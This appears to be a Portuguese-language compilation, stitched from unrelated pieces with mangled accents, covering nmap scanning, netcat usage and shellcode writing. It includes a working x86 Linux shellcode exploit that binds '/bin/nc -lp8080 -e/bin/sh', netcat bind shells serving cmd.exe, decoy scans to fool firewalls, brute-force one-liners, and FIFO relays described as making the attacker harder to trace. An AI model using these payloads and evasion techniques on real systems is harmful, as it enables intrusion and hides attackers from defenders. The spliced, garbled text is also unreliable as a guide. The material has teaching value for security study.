Вы находитесь на странице: 1из 66

Ferramentas de deteco e NMAP

brunolimaq 10/11/2004 Esse artigo trata do conceito usado pelas ferramentas de deteco e faz um tour pelas principais funcionalidades do NMAP. Dentre elas podemos citar: varreduras de rede, identificao de portas abertas, identificao de sistema operacional, camunflagem de IP dentre outras. Por: Bruno Lima Queiroz [ Hits: 103424 ] Conceito: 9.6 Denuncie + Favoritos + quero dar nota ao artigo Verso para impressora Indicar para um amigo Enviar artigo

Ferramentas de deteco
Esse artigo e voltado para explicao do que o NMAP e de como instal-lo e utiliza-lo. Antes disso interessante passar o conceito de ferramentas de deteco, pois o NMAP uma.

Ferramentas de deteco
As ferramentas de deteco nada mais so do que um sistema que analisa se um computador tem portas UDP ou TCP abertas, ele faz uma varredura pelas mais de 65000 portas existentes nesses protocolos. A forma como essa deteco feita varia de programa para programa e claro, da forma como cada um utilizado. De uma forma geral, podemos falar que as ferramentas instaladas em uma mquina enviam pacotes para um servidor (ou uma mquina qualquer), direcionando esse pacotes para cada uma das portas existentes, quando ele recebe uma confirmao do pacote, isso significa que a porta X a qual foi encaminhada um pacote est ativa. Esse um modo bem simples de se ver o processo de deteco de portas. Com os avanados sistemas de firewall que existem hoje em dia esse procedimento no daria certo, pois eles so capazes de restringir acesso de redes externas, mas com o NMAP podemos camuflar (mudar) nosso IP e assim tentar confundir o firewall, mas isso ser visto mais a frente. Outra maneira de deteco usada pelas ferramentas a do envio de pacotes especiais, esse pacotes so exclusivos para portas que estao fechadas. Ora, se uma porta no responder

significa que a mesma est aberta. Essa apenas uma noo que devemos ter sobre ferramentas de deteco.

Obtendo o NMAP
Antes de tudo precisamos instalar os pacotes do NMAP:

nmap-3.50-3.i386.rpm nmap-frontend-3.50-3.i386.rpm

Voc pode encontr-los a partir de rpm.pbone.net ou atravs do site oficial do software: www.insecure.org/nmap/. Esses so os dois pacotes necessrios para a utilizao do NMAP, para instalarmos utilizaremos os seguintes comando: # rpm -ivh nmap-3.50-3.i386.rpm # rpm -ivh nmap-frontend-3.50-3.i386.rpm Pronto, depois disto j estaremos com o nosso programa instalado e para que tenhamos certeza disso, vamos usar os comandos abaixo para verificar: $ rpm -q nmap $ rpm -q nmap-frontend Se obtivermos uma sada mostrando a verso do pacote, pimba!!! Nosso pacote est instado. Depois de passar por essa etapa vamos agora para sua sintaxe de utilizao. Vale lembrar que ele no possui daemon e com isso no precisamos ativar nenhum servio. Sintaxe: nmap <opo> NET/HOST

Opes do NMAP
Opes do NMAP

-sP => Essa opo envia um pacote ICMP Ping Scan, que usado para encontrar um host na rede.

Exemplo:

# nmap -sP 10.100.102.39/24 OBS: O /24 referente a mscara de rede.

-sU => Essa opo determina quais portas UDP esto ativas.

Exemplo: # nmap -sU 10.100.102.39 Podemos colocar tambm um nmero de rede.

-sS => Essa opo j e mais aprimorada, alm de mandar o pacote e esperar uma confirmao, no meio da conexo ele a interrompe, com isso ele consegue burlar algumas sistemas de proteo. O -sS procura por portas do tipo TCP.

Exemplo: # nmap -sS 10.100.102.39 A sada deste comando ir lhe mostrar as portas abertas e os seus respectivos servios que esto rodando.

-sT => Similar a opo -sS, s que ela tem uma maior garantia de sucesso, ou seja, ela melhor.

Enganando um firewall
O NMAP tambm pode burlar os firewalls que so configurados para descartar os pedidos de conexes de outras redes, como j foi comentado no incio. Para isso mudaremos a opo -D, que na verdade vai camuflar seu IP e com isso conseguiremos fazer nossa varredura. Essa opo ser utilizada em conjunto com as outras vindo a frente das demais. Exemplo: # nmap -sS 10.100.102.39 -D 10.100.102.113,200.192.35.6 Onde:

10.100.102.39 o IP o qual vou fazer a verificao. 10.100.102.113 o meu IP . 200.192.35.6 um IP qualquer que escolher para que camufle o meu.

Usando essa opo associada com as outras temos uma das melhores buscas por portas possvel.

Examinado portas especficas


Com isso podemos examinar determinadas portas em um determinado IP ou rede. Veja um exemplo: # nmap -sT -p 22,23,110 10.100.102.37 Onde:

22,23,110 => portas desejadas. 10.100.102.37 => IP ou rede de destino.

Usando isso associado s opes citadas e um bom conhecimento de portas, podemos conseguir bons resultados!

Scaneando faixas de IPs


Em uma rede podemos querer apenas fazer uma varredura em alguns IPs, ou seja, em uma faixa de IPs especfica e isso e extremamente possvel. Para scanearmos uma determinada faixa de IPs usamos o seguinte comando: # nmap -sX -p 22,23,110 10.100.*.1-12 A opo "-sX" nos permite especificar uma determinada faixa de IPs. O comando acima far uma varredura em todas as redes de prefixo "10.100" e em cada rede buscar apenas nos IPs de 1 12.

Identificando o sistema operacional


Sabemos que a vulnerabilidade est associada ao sistema operacional, pois cada um tem sua particularidade, por isso importante saber qual o sistema operacional de uma mquina em determinadas situaes. Para descobrir detalhes sobre o sistema operacional, usamos: # nmap -sX -O IP/HOST A opo "-O" pode ser associada a qualquer outra do NMAP.

Teremos assim uma descrio do sistema operacional em questo.

Resumo
Como foi visto nesse artigo, o NMAP uma tima ferramenta de deteco que nos traz muitas opes de uso. O software em geral usado por administradores de redes para que possa ser feita uma boa anlise contra invases e prevenes das mesmas. O NMAP til para vrios tipos de tarefas e recomendado para qualquer um que tenha contato em modo geral com redes.

. Exploit shell Linux x86 netcat bindshell port 8080 /* 08048060 <_start>: 8048060: eb 2a jmp 804808c <GotoCall> 08048062 <shellcode>: 8048062: 5e pop %esi 8048063: 31 c0 xor %eax,%eax 8048065: 88 46 07 mov %al,0x7(%esi) 8048068: 88 46 0f mov %al,0xf(%esi) 804806b: 88 46 19 mov %al,0x19(%esi) 804806e: 89 76 1a mov %esi,0x1a(%esi) 8048071: 8d 5e 08 lea 0x8(%esi),%ebx 8048074: 89 5e 1e mov %ebx,0x1e(%esi) 8048077: 8d 5e 10 lea 0x10(%esi),%ebx 804807a: 89 5e 22 mov %ebx,0x22(%esi) 804807d: 89 46 26 mov %eax,0x26(%esi) 8048080: b0 0b mov $0xb,%al 8048082: 89 f3 mov %esi,%ebx 8048084: 8d 4e 1a lea 0x1a(%esi),%ecx 8048087: 8d 56 26 lea 0x26(%esi),%edx 804808a: cd 80 int $0x80 0804808c <GotoCall>: 804808c: e8 d1 ff ff ff call 8048062 <shellcode> 8048091: 2f das 8048092: 62 69 6e bound %ebp,0x6e(%ecx) 8048095: 2f das 8048096: 6e outsb %ds %esi),(%dx) 8048097: 63 23 arpl %sp,(%ebx) 8048099: 2d 6c 70 38 30 sub $0x3038706c,%eax

804809e: 38 30 cmp %dh,(%eax) 80480a0: 23 2d 65 2f 62 69 and 0x69622f65,%ebp 80480a6: 6e outsb %ds %esi),(%dx) 80480a7: 2f das 80480a8: 73 68 jae 8048112 <GotoCall+0x86> 80480aa: 23 41 41 and 0x41(%ecx),%eax 80480ad: 41 inc %ecx 80480ae: 41 inc %ecx 80480af: 42 inc %edx 80480b0: 42 inc %edx 80480b1: 42 inc %edx 80480b2: 42 inc %edx 80480b3: 43 inc %ebx 80480b4: 43 inc %ebx 80480b5: 43 inc %ebx 80480b6: 43 inc %ebx 80480b7: 44 inc %esp 80480b8: 44 inc %esp 80480b9: 44 inc %esp 80480ba: 44 inc %esp */ //bin/nc -lp8080 -e/bin/sh char shellcode[] = "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0f\x88\ x46\x19\x89\x76\x1a\x8d\x5e\x08\x89\x5e\x1e\x8d\x5 e\x10\x89\x5e\x22\x89\x46\x26\xb0\x0b\x89\xf3\x8d\ x4e\x1a\x8d\x56\x26\xcd\x80\xe8\xd1\xff\xff\xff\x2 f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x70\x38\x30\ x38\x30\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x2 3"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }

para conexo reversa certo? Esse um Exploit remoto ou local? Esse exploit foi desenvolvido em C geralmente os exploits que so desenvolvidos nessa linguagem so locais, mas no necessariamente todos. Salva assim: nome.c Vc necessita de compilar ele depois de salvo, se vc estiver com Windows utiliza o Cygwin Se for Linux: gcc nome.c -o nome Para usar abre o terminal (Linux) ou o prompt (Windows) e da o comando ./nome que vc salvou, geralmente assim. Anlisando o cdigo por cima eu penso que se trata de um exploit para conexo reversa com netcat na porta 8080. Para isso vc ter que abrir a porta 8080 no seu rotiador e firewall e ter o netcat instalado na mquina (sua) para poder esperar a conexo do seu alvo para sua porta 8080, vc precisa deixar o netcat em escuta para isso.

>> Introduo O Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force. O nome netcat vem do comando "cat" do Linux. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP. >> Como o Netcat funciona A princpio, o Netcat foi lanado para ser um telnet aprimorado. At ento a nica utilidade que ele teria seria se conectar a um host. Porm, como o netcat pega os dados da entrada padro (stdin) e envia pra outra ponta da conexo, que as escreve na sada padro (stdout), possvel utilizar ele em conjunto com o shell pra fazer inmeras coisas. Por exemplo: na imagem do incio do post, o que est sendo feito um "telnet reverso", no qual, na mquina onde os comandos sero executados, cria-se um servidor com nc ouvindo na porta 1234 e tudo o

que chegar no netcat enviado para o bash, que processa o que chegar e envia para outro servidor netcat ouvindo na porta 5678. Qual a utilidade disso? Aparentemente nenhuma, pois o telnet e o ssh cumprem muito melhor essa funo. Mas o Netcat tem suas utilidades sim, e alguma sero citadas abaixo:
>> Escaneando portas com o Netcat

Ser feita uma tentativa de conexo um IP ou host e ser estipulada as portas da tentativa de conexo:
$ nc -vv localhost -z 1-3000

Aqui sero escaneadas desde a porta 1 at a 10000. >> Bruteforce com Netcat O brute-force o mtodo de tentativa de obteno de senhas utilizado quando um cliente se conecta a um host e tenta se logar, utilizando uma sequncia de senhas que esto em um arquivo. Ou seja, se eu pegar o Netcat eu posso me CONECTAR ao host e com uma linha de comando, posso completar o comando com a comparao para obteno das senhas.
$ nc -vv 79 < ~/wordlist.txt > nc_log.log

Perceba, que conectaremos a porta do FINGER(79) e redirecionaremos o contedo do arquivo wordlists.txt para essa porta. Quando algum resultado for vlido ele ser salvo em nc_log.log para que voc possa analizar posteriormente.
>> Sniffer com Netcat

O Netcat pode capturar todo o trfego de uma rede. Iremos nos conectar a uma porta e mandar o netcat "dar eco" nela, ou seja, exibir TUDO o que passa por ela. Aps isso, s redirecionar tudo o que o Netcat gravou para um arquivo. Veja a sintaxe, para melhor compreenso:
$ nc -vv localhost 80 > ~/sniffer.log

>> Transferncia de arquivos com Netcat

A vantagem de transferir arquivos usando o Netcat em relao outros mtodos a velocidade. No entanto, desde que voc queira somente transferir um nico arquivo, ou uns poucos, o Netcat pode ser uma excelente soluo para isso: Primeiro vamos montar nosso servidor, que ficar esperando uma conexo e direcionaremos sua sada para um arquivo, que chamaremos de arquivo.zip

nc -l 1234 > arquivo.zip Em seguida, vamos abrir uma conexo com nosso servidor, e direcionaremos um arquivo, por exemplo original.zip, para a entrada padro desse cliente, da seguinte forma: nc localhost 1234 < original.zip

Chat simples usando o Netcat


Para isso crie um servidor do netcat e abra uma conexo cliente para essa porta. O que voc digitar de um lado, aparecer do outro. nc -l 1234 nc localhost 1234

Fazendo Spoof em servidores HTTP


Voc pode usar o Netcat para se conectar a um servidor web usando cabealhos totalmente personalizados. Voc pode adicionar quaisquer USER-AGENT, referer, ou qualquer outra informao de cabealho HTTP. <blockquote>$ nc google.com 80 GET / HTTP/1.1 Host: google.com User-Agent: Vindex Referrer: http://tocadoelfo.blogspot.com</blockquote>Aqui o exemplo do cabealho (no em sua totalidade):<blockquote>HTTP/1.0 200 OK Content-Type: text/html; charset=UTF-8 Last-Modified: Fri, 02 Jul 2010 21:02:58 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Fri, 02 Jul 2010 22:07:19 GMT Date: Fri, 02 Jul 2010 22:07:19 GMT Cache-Control: public, max-age=0, proxy-revalidate, must-revalidate ETag: "73202059-b4d7-4150-bdb0-e42c3bbe0c0b" Server: GSE X-Cache: HIT from gw.ifto.edu.br Via: 1.0 gw.ifto.edu.br (squid/3.0.STABLE16) Proxy-Connection: close</blockquote>

Clonar parties via rede com o Netcat


Somenta faa isso se realmente souber o que esta fazendo e o que isso significa. Primeiro, crie um servidor com o Netcat e redirecione a sada dele para o

comando dd: $ nc -l 1234 | dd of=/dev/sda Em seguida, rode o dd, que vai fazer uma varredura no disco e enviar tudo para a entrada padro (stdin) do netcat, que se conectar ao servidor previamente configurado: $ dd if=/dev/sdb | nc localhost 1234 claro, voc precisar estar com os discos desmontados para que o comando funcione. Ha sugesto usar um LiveCD nas mquina. Nesse nosso caso foi conectado mesma mquina, mas nada impede que essa conexo se d via rede ou mesmo via internet. Criando um servidor web simples com o netcat Essa tcnica interessante e mostra um pouco mais da interao do shell com o netcat: $ while true; do nc -l 80 -q 1 < pagina.html; done Esse comando roda o netcat infinitamente e a cada vez que ele roda, o arquivo pagina.html enviado para o cliente, no nosso caso o browser, que voc pode acessar com o endereo http://localhost Netcat Mais a fundo Introduo

Ainda que haja muitos artigos sobre esse tema, talvez muitas pessoas utilizam o Netcat apenas para conseguir um shell reverso ou descobrir o sistema operacional de um alvo e varrer suas portas.

Alm das operaes citadas, h muitas outras funcionalidades que esse canivete suo nos oferece, e que em algum dado momento possa nos servir de ajuda. Esse artigo no pretende ser um guia completo, mas simplesmente um ponto de partida para atiar a curiosidade em explorar um pouco mais os possveis usos do Netcat.

Transferncia de arquivos H moento em que precisamos transferir arquivos de um host outro e

no sabemos como, e o Netcat nos oferece um caminho fcil de consegu-lo, sem necessidade de montar um servidor FTP ou qualquer outra coisa do tipo.

to fcil como o que est a seguir.

No servidor:

# netcat -l -p 5050 > pass.txt

No cliente:

# cat pass.txt | netcat ip_server 5050

Com isso conseguimos enviar sem problemas um simples arquivo de texto, mas... O que acontece se quisermos ir mais alm e enviar um binrio (um executvel, um arquivo do OpenOffice.org ,...)?

Vamos tentar o seguinte.

No servidor:

# netcat -l -p 5050 > exemplo.odt

No cliente:

# cat saida.odt | netcat ip_server 5050

E agora vamos comprovar (supondo que o exemplo tenha sido realizado na mesma mquina):

# diff exemplo.odt saida.odt

Como vemos, no h NENHUMA diferena, assim podemos transferir binrios sem problemas. Relays utilizando NetcaT

Para esse exerccio precisamos de 3 mquinas diferentes. Criaremos um relay na mquina Linux utilizando o Netcat executando-o no modo de escuta e como cliente. Esse encaminhamento dirigir os dados de uma primeira mquina (A) para outra ( .

Esta mquina de encaminhamento conectar a primeira mquina, executando o Netcat em modo cliente, com uma terceira mquina executando o Netcat em modo servidor, ou de escuta.

Uma vez estabelecida a conexo, o encaminhamento permitir o acesso a esta ltima mquina a partir da mquina original.

O host intermedirio serve de proxy, de forma que nos conectamos ele e ele nos conecta ao servidor final, deste modo conseguindo que seja mais difcil nos rastrear, j que nos logs do servidor aparecer o IP do host relay. Obviamente que quanto mais hosts intermedirios utilizarmos, mais difcil ser a tarefa de nos rastrear.

Uma maneira de criarmos relays, unir a entrada e a sada de um cliente e servidor Netcat utilizando um arquivo especial denominado FIFO (Firts In, First Out). Podemos criar um arquivo FIFO e utiliz-lo para unir um Netcat em modo servidor com um cliente atravs dos seguintes comandos:

# mknod backpipe p # nc -l -p [portaA] 0<backpipe | nc [IP_Destino] [Porta_Destino] 1>backpipe

Onde a portaA a porta onde o relay est escutando e Porta_Destino a porta da mquina destino (IP_Destino) onde configuramos um backdoor com o shell. importante no colocar espaos nos direcionamentos (>,<). Estes redirecionamentos permitem dirigir a entrada e sada padro para um backpipe e no podem ter espaos neles.

Para que isso funcione, necessrio que caso tenhamos um filtro de pacotes rodando, permitamos o envio de pacotes mquina C. possvel que se estivermos com o iptables ativo (funcionando como firewall), isso no ser permitido. Podemos desativar o iptables do seguinte modo:

# /etc/init.d/iptables stop

Bem, mos obra, como escrevi antes, vamos precisar de trs mquina (no meu caso, o prprio host onde trabalho, e 2 mquinas virtuais), os IPs so os seguintes:

Servidor: 192.168.1.129 Relay: 172.16.72.135 Cliente: 172.16.72.136

Vamos em frente.

No servidor, deixamos o Netcat escutando uma porta com um shell de presente:

# nc -l -p 5555

No relay, criamos o FIFO, e atravs dos direcionamentos fazemos as conexes:

# mknod buffer p # netcat -l -p 1111 0<buffer | netcat 192.168.1.129 5555 1>buffer

Como podemos observar, primeiro criamos o buffer com ajuda do mknod, e depois usamos o mesmo para unir a entrada padro (que nesse caso ser aquilo que o cliente nos enviar atravs do Netcat) com a conexo no servidor e armazenar de novo a sada dessa ltima conexo no buffer, que ser encaminhado para o cliente.

Finalmente, nos conectamos a partir do nosso cliente e observamos que temos o shell com o servidor:

# netcat 172.16.72.135 # pwd /home/XXXX

Para nos asseguramos que a conexo a partir de nosso cliente at o servidor, tenha sido "mascarada" pelo relay, verificamos no servidor as

conexes ativas, filtrando, por exemplo, a porta 5555 que onde estamos "escutando", e obtemos o seguinte:

# netstat -aveptn | grep 5555 tcp 0 0 192.168.1.129:5555 172.16.72.135:51220 ESTABELECIDO 1000 44068 9038/bash

Vemos que, efetivamente, algum se conectou em nossa porta 5555, que possui um shell (bash) e que a conexo vem do relay (172.16.72.135:51220).

Uso como scanner


Podemos encontrar alguma situao em que no temos o NMap ou algum outro programa mo, no entanto, sempre poderemos lanar mo do Netcat e us-lo como um scanner de portas (um pouco barulhento e tosco... rs).

Por exemplo: # nc -vv 127.0.0.1 22-25 localhost [127.0.0.1] 25 (smtp) : Connection refused localhost [127.0.0.1] 24 (?) : Connection refused localhost [127.0.0.1] 23 (telnet) : Connection refused localhost [127.0.0.1] 22 (ssh) open SSH-2.0-OpenSSH_4.7p1 Debian Enviar e-mail

sempre divertido interagir com protocolos de rede baseados em texto com nada mais do que o Netcat e um teclado. Segue um pequeno exemplo mostrando como enviar e-mails comunicando-se com um servidor SMTP. O SMTP est descrito na RFC 5321, mas no necessrio muito sobre o protocolo para enviar uma simples mensagem. O servio est vinculado porta 25, e utilizaremos o parmetro -C porque o mesmo requerido para finalizaes de linha (CRLF). O exemplo abaixo possui a transcrio de uma sesso:

$ ncat -C mail.exemplo.com 25 220 mail.exemplo.com ESMTP HELO cliente.exemplo.com 250 mail.exemplo.com Ol cliente.exemplo.com

MAIL FROM:a@exemplo.com 250 OK RCPT TO:b@exemplo.com 250 Accepted DATA 354 Enter message, ending with "." on a line by itself From: a@exemplo.com To: b@exemplo.com Subject: Saudaes! Ol. Esta uma pequena mensagem enviado pelo netcat. . 250 OK QUIT 221 mail.exemplo.com closing connection

Para fazer esse exemplo funcionar, altere o mail.exemplo.com para o seu servidor SMTP e o cliente.exemplo.com para o seu domnio. Naturalmente mudar o endereo de e-mail e a mensagem tambm. Isso funcionar utilizando seu servidor de e-mail vlido, com seu endereo real, ou quando utilizar o servidor de e-mail do remetente (procure pelo registro MX para o domnio em seu endereo de e-mail).

Obviamente que esta tcnica pode ser utilizada para mais do que apenas enviar emails. Netcat uma grande ferramenta de debug para qualquer protocolo baseado em texto. O debug feito algumas vezes com o comando telnet, pois ele prov algo como uma resposta em texto bruto. Porm, o Netcat possui algumas vantagens sobre o telnet. O Netcat no exibe nada alm do que enviado pelo host remoto. O telnet no to bom para dados binrios arbitrrios, pois reserva alguns bytes como caracteres de controle. Alm do mais, telnet no funciona com o protocolo UDP. Encadeando netcats Netcat foi desenvolvido para trabalhar com um pipeline, ento naturalmente a sada de uma instncia do Netcat pode alimentar a entrada de outro. Abaixo segue uma maneira de enviar um arquivo de log de um host para outro atravs de um intermedirio:

host3# ncat -l > log.txt host2# ncat -l | ncat host3 host1# ncat --send-only host2 < log.txt

Um possvel problema com esta tcnica que funciona em "mo nica": host1 pode enviar, mas no possvel para o host3 enviar qualquer coisa para o host1. Nesse caso no importa, mas isso pode ser feito com

algumas pequenas mudanas. Vejamos:

host3# ncat -l > log.txt host2# ncat -l --sh-exec "ncat host3" host1# ncat --send-only host2 < log.txt

O Netcat em modo de escuta no host2, ao receber uma conexo cria um "novo netcat" para falar com o host3 e conecta a entrada e sada do programa em execuo no host1 e host3 encadeando-os. Esse mesmo "macete" pode ser utilizado em um host local tambm. O exemplo a seguir direciona a porta 8080 para o servidor web exemplo.org.br:

# ncat -l localhost 8080 --sh-exec "ncat exemplo.org.br 80"

Simulando SSL
Suponhamos que precise conectar em um servidor IMAP que requeira SSL, mas seu leitor de e-mails mo suporta SSL. O Netcat pode agir como uma ponta criptografada para conectar o cliente e o servidor. Conectaremos o cliente de e-mail uma porta local e o Netcat encaminhar o trfego, encriptado, para o servidor. Abaixo est como conectar o IMAP (porta 143) no host local ao IMAP com SSL (porta 993) no imap.exemplo.com. # ncat -l localhost 143 --sh-exec "ncat --ssl imap.exemplo.com 993"

Uma vez que isso tenha sido executado, instrua o cliente de e-mail a conectar ao servidor IMAP no host local (localhost).

Esse "macete" funciona com protocolos que enviem o trfego estritamente entre dois hosts. No funciona muito bem para HTTP porque envolve hostnames e frequentemente envolve mltiplos hosts.

SSH atravs de um tnel Netcat


Com o Netcat e OpenSSH, possvel executar o SSH para um host atrs de um roteador com NAT sem precisar direcionar as portas no roteador. O roteador precisa ter o Netcat instalado. Abaixo segue como conectar via SSH um host atravs de um roteador:

# ssh -o ProxyCommand="ssh -q <roteador> ncat %h %p" <host>

A opo ProxyCommand do ssh diz como abrir a conexo SSH para o host. Isso feito abrindo outra sesso SSH para o roteador e conectando-o ao host com o Netcat.

E mais...

H muitas coisas mais que podemos fazer com essa fantstica ferramenta, como por exemplo:

um programa de fora bruta (bruteforce): poderamos criar um

dicionrio e mandar palavra por palavra uma porta, de forma que quando encontre a senha correta, faa o registro. enumerao de servios: basta conectar-se com a porta que

queremos extrair a informao do servio e guardar sua resposta para analis-la posteriormente. mini-chat: ainda que no acredite, isso pode ser feito :-)

E isso apenas a ponta do iceberg

Netcat Um comando Multiplataforma e Multiuso

Um SysAdmin muitas vezes precisa criar solues rpidas para problemas pequenos e grandes que podem aparecem em diversas situaes. Se os problemas tem a ver com acesso a rede ou conexes de rede, a ferramenta para auxiliar nessas solues rpidas pode ser o netcat, esse comando que chamado de canivete suo do tcp/ip realmente pode fazer muita diferena no dia a dia do SysAdmin. Veja o que diz a Wikipedia sobre ele O Netcat uma ferramenta de rede, disponvel para sistemas operacionais Unix, Linux.Unix, Microsoft, MacOSX que permite, atravs de comandos e com sintaxe muito sensvel, abrir portas TCP/UDP e HOST. Permite forar conexes UDP/TCP (til para realizar rastreamento de portas ou realizar transferncias de arquivos bit a bit entre os equipamentos).

Vamos a algumas opes do nc (forma de uso do netcat):

Vejamos uma situao de um servidor que possivelmente est sofrendo uma tentativa de acesso no autorizado, que tal monitorarmos porta onde isso acontece para capturar informaes sobre o possvel invasor. Simularemos ter o servidor SSH instalado em nosso server para poder receber os dados da conexo, podendo inclusive guard-los em arquivo. Veja o resultado abaixo:

Onde: O IP 192.168.1.10 cuja resoluo de nomes foi Allspark.local usando a porta 35391 tentou acessar a porta 22 da minha mquina (192.168.1.90). Que tal capturarmos informao sobre acesso a servio HTTP (porta 80):

Onde: O IP 192.168.1.10 cuja resoluo de nomes foi Allspark.local usando a porta 41680 tentou acessar a porta 80 da minha mquina (192.168.1.90). Sei que a mquina um Linux com sistema de 64bits e usava u browser que provavelmente o Chrome.

Bem isso foi til e simples, mas imaginemos uma situao em que 2 mquinas com Linux/Unix precisa fazer a troca de arquivos e no tem um SCP ou RSYNC para isso mas voc tem como pedir que algum execute comandos nas duas mquinas. Pronto o netcat a soluo: Iremos fazer o envio do diretrio /var/log da mquina A(192.168.1.10) para a mquina B(192.168.1.90): Primeiro: Na mquina B iremos deixar uma porta aberta e um programa para tratar os arquivos: root@debian-90# nv -v -l -p 3000 | tar xvzp Onde: Abrimos a porta 3000 (qualquer porta no utilizada por outros servios serve) e tudo que for recebido nessa porta ser entregue para o comando tar que ir extrair no diretrio local, descompactar mostrando todos os dados em tela do que est fazendo. Segundo: Na mquina A iremos fazer o tar juntar os arquivos de /var/log em um s arquivo e compactar com o gzip: root@allspark# tar cvzp /var/log | nc 192.168.1.90 3000 Onde: O tar agrupa os arquivos do /var/log, compacta e entrega na mo do netcat para que ele envie para o IP 192.168.1.90 na porta 3000. Que tal podemos trocar dados de terminal com outra mquina, ou seja, escrever em nosso terminal e o resultado sair no da outra mquina (no instant messenger ), no tem utilidade prtica, mas mostra a capacidade do netcat em ler e escrever sobre conexes TCP/IP: Primeiro abrimos a porta na mquina B: root@debian-90# nc -vlp 1500 Depois direcionamos tudo que escrevemos em um determinado terminal da mquina A para a mquina B: root@allspark# cat < /dev/pts/0 | nc 192.168.1.90 1500 Vejamos como fica:

Como o NetCat multiplataforma vamos mostrar que possvel no Windows us-lo como cliente ou provedor de uma conexo, no exemplo abaixo vamos criar um acesso remoto via shell no Windows e acessar do Linux: No Windows baixe e instale o nc e entre no diretrio: C:UsersVagnerDocumentsncnc -v -l -p 1000 -e cmd.exe Para mais detalhes da conexo poderamos usar -vv No Linux execute: root@allspark# telnet 192.168.1.121 1000 Vejamos como ficou:

O netcat pode servir como scanner de portas tambm: root@allspark# nc -v 192.168.1.121 1-65535 Onde: O nc ir escanear as portas do host 192.168.1.121 da porta 1 at a 65535. Lembrando que com a opo -d o NetCat executa em mode daemon e no prende a tela do terminal. E que como sniffer ele s ira pegar comunicaes de broadcast pois os switches isolam o trfego quando possvel. Espero que o post sirva como base para que vocs possam buscar solues para diversos problemas e criar at alguns . Se voc possui alguma outra soluo ou uso do NetCat poste nos comentrio

____ _.-'111 `"`--._ ,00010. .01011, ''-.. ,10101010 `111000. _ ____ ; /_..__..-------- ''' __.' / `-._ /""| _..-''' ___ __ __ ___ __ __ . __' ___ . __ "`-----\ `\ | | | | __ | | |\/| |___ | | | |__] | |\ | |__| |__/ | | | | ;.-""--.. |___ |__| |__] |__| | | |___ |___ |__| |__] | | \| | | | \ | |__| | ,10. 101. `.======================================== ============================== `;1010 `0110 : 1 Edio .1""-.|`-._ ; 010 _.-| +---+----' `--'\` | / / ...:::binariae:fungus:::... ~~~~~~~~~| / | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ \| / | `----`---' Construindo shellcodes por m0nad. ndice 1) Apresentao 2) O que so shellcodes? 3) Ferramentas 4) Ambiente 5) System Calls 6) Exemplos: 6.1) 'exit(0);' em assembly 6.2) 'exit(0);' em shellcode 6.3) 'exit(0);' em assembly nullbyte-free

6.4) 'exit(0);' em shellcode nullbyte-free 6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free 6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free 6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free 6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free 7) Perguntas? 8) Referncias 1) Apresentao Ola me chamo Victor Ramos Mello aka m0nad, recomendo que visitem meu github, http://github.com/m0nad. Venho aqui explicar o que so e principalmente, como construir shellcodes. 2) O que so shellcodes? Shellcode ou Payload, so cdigos utilizados na explorao de buffer overflows, so utilizados no desenvolvimento de exploits para explorao desse tipo de falha, quem j leu os exploits de buffer overflows j os viu, shellcodes so construdos apenas com os valores em hexadecimal dos opcodes da arquitetura alvo, ou seja, as instrues do prprio processador, por isso o entendimento da linguagem assembly, que at certo ponto, possui relao de 1 para 1 com a linguagem de mquina, se faz necessria. O shellcode o cdigo que ser de fato executado durante a explorao de um buffer overflow. So chamados de 'shellcodes' pois geralmente o seu objetivo a obteno de uma shell. 3) Ferramentas: Utilizaremos uma serie de ferramentas, todas so de fcil acesso, presentes na maioria dos unix-like, as ferramentas so: as - Montador da linguagem Assembly. ld - Linker. gcc - Compilador C. objdump - Visualizador de arquivos objeto. Linux 32 bits - Sistema Operacional alvo. 4) Ambiente: O ambiente utilizado foi um GNU/Linux, um Ubuntu, as verses das ferramentas e do kernel utilizado so: -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~$ uname -a Linux m0nad-notebook 2.6.35-30-generic #56-Ubuntu SMP Mon Jul 11 20:00:22 UTC 2011 i686 GNU/Linux m0nad@m0nad-notebook:~$ as --version GNU assembler (GNU Binutils for Ubuntu) 2.20.51-system.20100908 Copyright 2010 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or later. This program has absolutely no warranty. This assembler was configured for a target of `i686-linux-gnu'. m0nad@m0nad-notebook:~$ ld --version GNU ld (GNU Binutils for Ubuntu) 2.20.51-system.20100908 Copyright 2010 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of

the GNU General Public License version 3 or (at your option) a later version. This program has absolutely no warranty. m0nad@m0nad-notebook:~$ gcc --version gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. m0nad@m0nad-notebook:~$ -----------------------------------------------------------------------------------5) System Calls: Para construirmos um cdigo simples de assembly em um linux, utilizaremos as system-calls do sistema operacional, que nada mais so do que chamadas presentes no kernel para executar tarefas para a aplicao. Existem diversas tcnicas de construo de shellcodes, alguns optam por escrever o cdigo em C, e depois debugar para descobrir quais syscalls e instrues de mquina que ir utilizar, outra maneira escrever o cdigo direto em assembly, para pegarmos os opcodes e construirmos o shellcode, esta tcnica que utilizaremos. 6) Exemplos: 6.1) 'exit(0);' em assembly Vejamos o primeiro exemplo, um 'exit(0);'. Para executarmos qualquer syscall, precisamos utilizar os registradores, os registradores de 'propsito geral' na arquitetura da Intel de 32 bits so eax, ebx, ecx, edx, esi, edi, esp e ebp, j 